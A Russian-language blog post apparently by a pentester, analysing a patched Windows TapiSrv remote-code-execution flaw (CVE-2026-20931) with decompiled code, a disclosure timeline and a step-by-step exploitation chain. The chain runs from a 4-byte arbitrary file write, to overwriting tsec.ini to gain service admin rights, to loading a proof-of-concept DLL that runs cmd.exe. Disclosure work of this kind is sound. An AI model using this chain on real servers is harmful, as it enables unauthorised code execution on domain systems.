
Привет, Хабр!
Новогодние праздники остались позади, а вместе с первыми рабочими днями подъехал и первый Patch Tuesday от Microsoft. Меня зовут Сергей Близнюк, я пентестер в команде PT SWARM, и в этот раз мне удалось внести свой вклад в кибербезопасность в виде CVE-2026-20931 – уязвимости RCE в службе телефонии под Windows Server.
В статье подробно расскажу, что это за сервис, в чем заключается уязвимость и как её могут проэксплуатировать злоумышленники.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в Интернете. Авторы не несут ответственности за использование информации. Помните, что не стоит забывать о безопасности своих данных.
Кратко о телефонии в Windows
Windows предоставляет функции телефонии через TAPI (Telephony Application Program��ming Interface) – единый интерфейс, который позволяет пользовательским приложениям взаимодействовать с различными телефонными устройствами. Сюда можно отнести как физические устройства (стационарные телефоны и модемы), так и виртуальные или программные решения: VoIP-системы, софтфоны, SIP-шлюзы. В общем, всё, что «звонит» в традиционном понимании.
TAPI существует в двух основных вариантах: TAPI 2.x, представляющий собой процедурный API на C, и TAPI 3.x, реализованный с использованием COM. Оба варианта опираются на одну архитектуру: приложения взаимодействуют с ОС посредством TAPI, а ОС управляет нижележащей телефонной инфраструктурой при помощи TSP (Telephony Service Provider) – библиотеки, поставляемой вендором телефонного оборудования и реализующей логику взаимодействия уже с конкретным устройством.
Во времена облачной телефонии все это кажется пережитком провошлого, однако по-прежнему стабильно поддерживается в Windows «из коробки».
Сервис TapiSrv
В зависимости от версии TAPI приложение пользуется либо функциями из tapi32.dll, либо COM-объектами из tapi3.dll. При этом обе библиотеки представляют из себя, скорее, клиентские обертки, а вся реализация работы с телефонией вынесена в отдельный сервис, с которым они общаются по RPC. Сервис этот называется TapiSrv и именно он отвечает за управление устройствами, сессиями, звонками и за обращения к TSP. Работает он от имени учетной записи NETWORK SERVICE и по умолчанию не запущен, но запускается автоматически при вызове любой TAPI-функции из tapi32.dll/tapi3.dll. Реализация сервиса находится в библиотеке tapisrv.dll.
RPC-интерфейс TAPSRV
Клиенты взаимодействуют с сервисом с помощью RPC-интерфейса tapsrv. Он является частью протокола MS-TRP, для которого существует весьма подробная спецификация. По умолчанию этот интерфейс доступен только для локальных клиентов.
Однако в серверных редакциях Windows можно разрешить доступ и для удаленных клиентов. За это отвечает ключ в реестре – HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony\Server\DisableSharing.
Включить удаленный доступ можно также через соответствующий раздел в оснастке (TapiMgmt.msc).

Конечно, от удаленного управления модемами и телефонами толку немного – прежде всего, эта настройка существует для централизованного доступа к серверным решениям вроде АТС. Она позволяет приложениям, поддерживающим работу через TAPI, прозрачно взаимодействовать с провайдером телефонии без установки нужного TSP на каждый клиентский ПК – достаточно просто указать центральный сервер (например, через групповые политики).
В таком режиме (назовем его серверным) RPC-интерфейс доступен для удаленных клиентов через SMB-пайп tapsrv (то есть для подключения понадобится как минимум непривилегированная доменная учетная запись). Также в этом случае сервис публикует информацию о самом себе в LDAP, так что найти его в домене довольно просто.

Что под капотом MS-TRP
RPC-интерфейс включает всего три метода: ClientAttach, ClientDetach и ClientRequest. Первые два отвечают за создание и завершение сессии, а вся работа с телефонией происходит через ClientRequest.
Этот метод принимает единственный аргумент – массив байтов (пакет, как его называет спецификация). Первые четыре байта пакета содержат поле Req_Func – индекс функции-обработчика в массиве, остальная часть – произвольные данные, формат которых зависит от вызываемой функции.
Список поддерживаемых функций с соответствующими им значениями Req_Func и структурами входных параметров описан в спецификации (хоть и не полностью), и нетрудно заметить, что он почти один в один повторяет функции TAPI 2. Получается своеобразный RPC поверх RPC, что в целом не редкость для сервисов в Windows – например, абсолютно также реализован интерфейс RASRPC сервиса RasMan (в котором я также недавно находил LPE).
Инициализация сессии
В архитектуре TAPI клиент – это компьютер, инициирующий RPC-соединение, а приложение (line application) – программа, использующая API для работы с телефонными линиями поверх этого соединения. Для установления сессии клиенту необходимо вызвать RPC-метод ClientAttach, имеющий следующую сигнатуру:
long ClientAttach(
[out] PCONTEXT_HANDLE_TYPE *pphContext,
[in] long lProcessID,
[out] long *phAsyncEventsEvent,
[in, string] wchar_t *pszDomainUser,
[in, string] wchar_t *pszMachine
);При этом сервис проверяет привилегии учетной записи клиента и присваивает сессии ряд битовых флагов, которые позже используются в API-методах для разграничения доступа.
CheckTokenMembership(hClientToken, pBuiltinAdministratorsSid, &bIsLocalAdmin);
if (bIsLocalAdmin || IsSidLocalSystem(hClientToken)) {
ptClient->dwFlags |= 8;
}
if (bIsLocalAdmin || IsSidNetworkService(hClientToken)
|| IsSidLocalService(hClientToken)
|| IsSidLocalSystem(hClientToken)) {
ptClient->dwFlags |= 1;
}
if (TapiGlobals.dwFlags & TAPIGLOBALS_SERVER) {
if ((ptClient->dwFlags & 8) == 0 ) {
wcscpy ((WCHAR *) InfoBuffer, szDomainName);
wcscat ((WCHAR *) InfoBuffer, L"\\");
wcscat ((WCHAR *) InfoBuffer, szAccountName);
if (GetPrivateProfileIntW(
"TapiAdministrators",
(LPCWSTR) InfoBuffer,
0, "..\\TAPI\\tsec.ini"
) == 1) {
ptClient->dwFlags |= 9;
}
}
}Как видно, значению 8 соответствует административный доступ (локальный администратор или система), а 1 присваивается сервисным учетным записям. Также в режиме сервера административные привилегии предоставляются пользователям, которые явно указаны в секции [TapiAdministrators] файла C:\Windows\TAPI\tsec.ini.
После установления сессии для дальнейшей работы с методами, связанными с телефонными линиями, необходимо проинициализировать объект приложения путем отправки пакета Initialize.
Асинхронная обработка событий
Очевидно, что телефония предполагает обработку событий от сервера к клиенту – например, чтоб получать уведомления о входящих звонках. Так как RPC использует синхронную модель запрос-ответ и для такой задачи напрямую не подходит, MS-TRP предоставляет собственные механизмы асинхронной доставки событий.
Способ выбирается при вызове ClientAttach и в первую очередь зависит от того, локальный клиент или удаленный.
Для локальных клиентов все просто – клиент указывает идентификатор своего процесса в аргументе lProcessID, сервис создает объект события c помощью CreateEvent и копирует хэндл в процесс клиента. При наличии уведомлений сервис сигнализирует об этом через объект события, а клиент должен забрать предназначенные ему данные путем отправки пакета GetAsyncEvents (Req_Func = 0).
Если же сервис работает в режиме сервера, то все куда интереснее. В таком случае предлагаются два метода доставки событий удаленным клиентам: push и pull. Метод выбирается в зависимости от аргументов, переданных ClientAttach.
В push-модели клиент указывает в аргументе pszMachine адрес RPC-эндпойнта в специальном формате, описанном в документации (например, CLIENT-PC-NAME"ncacn_ip_tcp"31337"). Сервис подключается к указанному эндпойнту, ожидая увидеть там RPC-интерфейс remotesp, и при возникновении событий вызывает RPC-метод RemoteSPEventProc.
В pull-модели клиент указывает в аргументе pszDomainUser имя мэйлслота – туда в случае появления новых событий сервис будет посылать короткие (размером всего 4 байта) сообщения, не содержащие самих данных события, но сигнализирующие о доступности таковых. Клиент при получении сообщения обязан вызвать GetAsyncEvents и забрать данные события.
Чтобы клиент мог определить, какому из приложений предназначено событие, сервис помимо прочего включает в передаваемые данные 4-байтовый идентификатор – значение поля InitContext, указанное клиентом в пакете Initialize для соответствующего приложения.
Через мэйлслот в файл
Mailslot – это устаревший механизм межпроцессного взаимодействия в Windows, предназначенный для передачи небольших однонаправленных сообщений. Процесс сервера прослушивает именованный эндпоинт, в то время как клиент (локальный либо удаленный) может отправлять туда данные – без гарантий доставки и обратной связи. При передаче по сети сообщения транспортируются с помощью NetBIOS-over-UDP (точнее, транспортировались – удаленное взаимодействие с мэйлслотами отключено начиная с Window 11 24H2). Для работы с мэйлслотами со стороны клиента используется стандартный API для файловых операций – CreateFile, WriteFile и CloseHandle. Чтобы открыть мэйлслот, необходимо передать в CreateFile путь в формате \\<COMPUTERNAME>\MAILSLOT\<MailslotName> (хотя технически удаленный мэйлслот нельзя «открыть» или даже понять, что он существует, передача-то только в одну сторону). Полученный в результате хэндл ведет себя как обычный файл, открытый только на запись.
Код ClientAttach, ответственный за открытие мэйлслота в случае pull-модели, приведен ниже:
if (wcslen (pszDomainUser) > 0)
{
if ((ptClient->hMailslot = CreateFileW(
pszDomainUser,
GENERIC_WRITE,
FILE_SHARE_READ,
(LPSECURITY_ATTRIBUTES) NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL
)) != INVALID_HANDLE_VALUE)
{
goto ClientAttach_AddClientToList;
}
...
}Здесь pszDomainUser – это аргумент, переданный клиентом. И да, он просто напрямую передается в функцию CreateFileW, без проверок на наличие префикса \\*\MAILSLOT\ или чего-то подобного – вот такая вот незамысловатая уязвимость.
В результате клиент может указать произвольный путь к файлу, и при условии, что файл существует и доступен для записи аккаунту NETWORK SERVICE, сервис успешно откроет этот файл и будет записывать туда уведомления о событиях вместо отправки их в мейлслот, как задумано протоколом.
Записываем произвольное содержимое
Для полноценной записи произвольных файлов мы должны контролировать, что мы записываем и куда записываем. С местоположением определились, а что насчет содержимого?
Нетрудно догадаться, что в случае pull-модели 4-байтовое значение, отправляемое в мейлслот в качестве уведомления – это и есть поле InitContext, указанное клиентом при инициализации приложения. Таким образом, записываемое содержимое также можно контролировать – для этого остается всего лишь научиться вызывать события для конкретных приложений.
Довольно много функций в сервисе инициируют события для клиента, но большая их часть зарыта глубоко в логику обработки звонков. Вместо того, чтобы разбираться, как удаленному клиенту до них достучаться, проще воспользоваться функцией NotifyHighestPriorityRequestRecipient. Эта функция вызывает событие для единственного глобального «приложения с наивысшим приоритетом», и вызвать её удаленно очень просто – достаточно отправить недокументированный пакет TRequestMakeCall (Req_Func = 121), который служит бэкендом для TAPI-функции tapiRequestMakeCall.
Приложение с наивысшим приоритетом переопределяется в обработчике недокументированного пакета LRegisterRequestRecipient (Req_Func = 61), который реализуе�� TAPI-функцию lineRegisterRequestRecipient:
if (dwRequestMode & LINEREQUESTMODE_MAKECALL)
{
if (!ptLineApp->pRequestRecipient)
{
// Добавляем приложение в список
PTREQUESTRECIPIENT pRequestRecipient;
pRequestRecipient->ptLineApp = ptLineApp;
pRequestRecipient->dwRegistrationInstance =
pParams->dwRegistrationInstance;
EnterCriticalSection (&gPriorityListCritSec);
if ((pRequestRecipient->pNext =
TapiGlobals.pRequestRecipients))
{
pRequestRecipient->pNext->pPrev = pRequestRecipient;
}
TapiGlobals.pRequestRecipients = pRequestRecipient;
LeaveCriticalSection (&gPriorityListCritSec);
ptLineApp->pRequestRecipient = pRequestRecipient;
// Находим новое приложение с наивысшим приоритетом
TapiGlobals.pHighestPriorityRequestRecipient = GetHighestPriorityRequestRecipient();
if (TapiGlobals.pRequestMakeCallList)
{
NotifyHighestPriorityRequestRecipient();
}
}
...
}Приоритет приложения определяется на основе индекса поля pszModuleName в списке:
PTREQUESTRECIPIENT GetHighestPriorityRequestRecipient()
{
BOOL bFoundRecipientInPriorityList = FALSE;
WCHAR *pszAppInPriorityList,
*pszAppInPriorityListPrev = (WCHAR *) LongToPtr(0xffffffff);
PTREQUESTRECIPIENT pRequestRecipient,
pHighestPriorityRequestRecipient = NULL;
WCHAR *pszPriorityList = NULL;
EnterCriticalSection (&gPriorityListCritSec);
pRequestRecipient = TapiGlobals.pRequestRecipients;
if (RpcImpersonateClient(0) == 0)
{
// Получаем список приоритета приложений для текущего пользователя
GetPriorityListTReqCall(&pszPriorityList);
}
while (pRequestRecipient)
{
// Вычисляем индекс текщуего имени приложения в списке
if (pszPriorityList &&
(pszAppInPriorityList = wcsstr(
pszPriorityList,
pRequestRecipient->ptLineApp->pszModuleName
)))
{
if (pszAppInPriorityList <= pszAppInPriorityListPrev)
{
pHighestPriorityRequestRecipient = pRequestRecipient;
pszAppInPriorityListPrev = pszAppInPriorityList;
bFoundRecipientInPriorityList = TRUE;
}
}
else if (!bFoundRecipientInPriorityList)
{
pHighestPriorityRequestRecipient = pRequestRecipient;
}
pRequestRecipient = pRequestRecipient->pNext;
}
LeaveCriticalSection (&gPriorityListCritSec);
return pHighestPriorityRequestRecipient;
}
Список, в свою очередь, подгружается из реестра для текущей учетной записи клиента:
RPC_STATUS GetPriorityListTReqCall(WCHAR **ppszPriorityList)
{
HKEY hKey = NULL;
HKEY phkResult = NULL;
EnterCriticalSection(&gPriorityListCritSec);
if ( !RegOpenCurrentUser(0xF003F, &phkResult) )
{
if ( !RegOpenKeyExW(
phkResult,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Telephony\\HandoffPriorities",
0,
0x20019,
&hKey) )
{
GetPriorityList(hKey, L"RequestMakeCall", ppszPriorityList);
RegCloseKey(hKey);
}
RegCloseKey(phkResult);
}
LeaveCriticalSection(&gPriorityListCritSec);
return RpcRevertToSelf();
}Найти его можно по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities\RequestMakeCall. По умолчанию там всегда будет единственное значение – DIALER.EXE (а даже если нет, его можно добавить недокументированным пакетом LSetAppPriority (Req_Func = 69)).
Наконец, поле pszModuleName, которое ищется в списке, передается самим клиентом в пакете Initialize при инициализации объекта приложения.
Теперь все кусочки пазла встали на место, и мы можем сконструировать алгоритм, позволяющий удаленно переписать произвольный существующий файл любым содержимым.
Для начала необходимо подключиться к интерфейсу tapsrv через SMB-пайп и вызвать метод ClientAttach, указав в параметре pszDomainUser путь до нужного файла. Далее, разбив желаемое содержимое на фрагменты по 4 байта, для каждого из фрагментов делаем следующее:
Отправляем пакет
Initialize (Req_Func = 47), в котором указываем:-
InitContext– нужные 4 байта-
pszModuleName–DIALER.EXEДаем приложению наивысший приоритет с помощью пакета
LRegisterRequestRecipient (Req_Func = 61, dwRequestMode = LINEREQUESTMODE_MAKECALL, bEnable = 1).Вызываем событие путем отправки пакета
TRequestMakeCall (Req_Func = 121).Забираем событие из очереди с помощью пакета
GetAsyncEvents (Req_Func = 0)– на этом этапе 4 байта изInitContextуже успешно записаны в файл.Убираем приложение из списка тем же пакетом
LRegisterRequestRecipient (bEnable = 0).Деинициализируем приложение с помощью пакета
Shutdown (Req_Func = 86).
От записи файлов к RCE
На данный момент мы научились переписывать произвольные существующие файлы, на которые у NETWORK SERVICE есть права на запись. За ответом на вопрос «что бы такое переписать?» далеко ходить не надо – у самого сервиса есть очень удобный файл конфигурации C:\Windows\TAPI\tsec.ini. В серверном режиме он гарантированно существует и доступен для записи NETWORK SERVICE, а также, как мы выяснили ранее, очень кстати содержит список администраторов сервиса. Записав в этот файл что-то вроде «[TapiAdministrators]\r\nDOMAIN\\attacker=1» и переподключившись новым вызовом ClientAttach, получим сессию с административными флагами.
С правами администратора сервиса поверхность атаки значительно увеличивается. При изучении спецификации сразу же бросается в глаза пакет GetUIDllName, который, согласно описанию, используется для установки/удаления TSP:
The GetUIDllName packet, along with the TUISPIDLLCallback packet and the FreeDialogInstance packet, is used to install, configure, or remove a TSP on the server.
По коду функции видно, что клиент с правами администратора действительно может добавить новую DLL провайдера, указав в пакете абсолютный путь до неё:
switch (pParams->dwObjectType)
{
case TUISPIDLL_OBJECT_LINEID:
...
case TUISPIDLL_OBJECT_PHONEID:
...
case TUISPIDLL_OBJECT_PROVIDERID:
// Если у клиента нет прав администратора и он хочет
// удалить провайдер либо добавить новый, указав путь к DLL в запросе -
// возвращаем ошибку.
if ((ptClient->dwFlags & 8) == 0 && (pParams->bRemoveProvider || pParams->dwProviderFilenameOffset != TAPI_NO_DATA)) {
pParams->lResult = LINEERR_OPERATIONFAILED;
return;
}
if (pParams->dwProviderFilenameOffset != TAPI_NO_DATA) {
TCHAR *pszProviderFilename = pDataBuf + pParams->dwProviderFilenameOffset;
// Загружаем DLL по пути, который был передан в запросе
if (ptDlgInst->hTsp = LoadLibrary(pszProviderFilename)) {
if (pfnTSPI_providerUIIdentify = (TSPIPROC) GetProcAddress(ptDlgInst->hTsp,"TSPI_providerUIIdentify")) {
// И вызываем из неё функцию
pParams->lResult = pfnTSPI_providerUIIdentify(pszProviderFilename);
} else {
...
}
} else {
...
}
} else {
....
}
}Сервис при этом загрузит DLL и вызовет экспортированную функцию TSPI_providerUIIdentify, что дает нам простой и надежный способ добиться выполнения кода. Кроме того, если мы вернем ненулевое значение из этой функции, то DLL будет выгружена вызовом FreeLibrary, что дает возможность еще и удалить нагрузку после эксплуатации.
Самым очевидным способом добиться загрузки своей DLL для удаленного клиента будет разместить её на SMB-шаре и указать сервису в запросе UNC-путь. На практике это отлично работает с шарой на Windows-машине в том же лесу Active Directory, но вызывает трудности при использовании impacket-smbserver или Samba на хосте атакующего – в таком случае LoadLibrary возвращает ошибку ERROR_SMB_GUEST_LOGON_BLOCKED. В качестве альтернативы можно воспользоваться уже имеющимся примитивом записи файлов и доставить DLL прямо на диск. Для этого подойдет любой существующий файл, доступный на запись NETWORK SERVICE и переписывание которого ничего не сломает в системе, например:
C:\Windows\System32\catroot2\dberr.txt
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\MpCmdRun.log
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\MpSigStub.log
Запись файла размером в десяток килобайт операциями по 4 байта занимает около 2-3 минут даже при хорошей скорости соединения, но взамен избавляет от необходимости пользоваться сторонней шарой.
Для демонстрации подойдет простейшая DLL с нужной функцией, выполняющей команду через cmd.exe.
#include <Windows.h>
extern "C" __declspec(dllexport)
LONG __stdcall TSPI_providerUIIdentify(LPWSTR lpszUIDLLName)
{
wchar_t cmd[] = L"cmd.exe /c whoami /all > C:\\Windows\\Temp\\poc.txt";
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
if (CreateProcessW(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
{
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
return 0x1337;
}При ненулевом возвращаемом значении функции TSPI_providerUIIdentify это значение вернется клиенту в качестве кода ошибки, то есть можно явно увидеть, что функция была вызвана.

Повышение привилегий с NETWORK SERVICE до системы оставим за кадром – про злоупотребление SeImpersonatePrivilege и так знает каждый пентестер.
Disclosure Timeline
06.11.2025 – Отчет о найденной уязвимости направлен Microsoft
22.12.2025 – Microsoft подтвердили наличие уязвимости
23.12.2025 – Microsoft выплатили вознаграждение в рамках Bug Bounty - 5000$
29.12.2025 – Уязвимости назначен идентификатор CVE-2026-20931
13.01.2026 – Уязвимость исправлена в январском Patch Tuesday
19.01.2026 – Опубликован разбор уязвимости
Заключение
На мой взгляд, получился отличный пример того, как довольно-таки тривиальная уязвимость оборачивается полноценной RCE. А также лишнее напоминание о том, что в недрах легаси-компонентов Windows может ждать еще очень много сюрпризов.
Под конец хочется напомнить, что все вышеописанное эксплуатабельно только в случае, когда служба работает в режиме сервера, что почти не встречается в современных инфраструктурах. Впрочем, это не повод не обновляться. Stay safe!
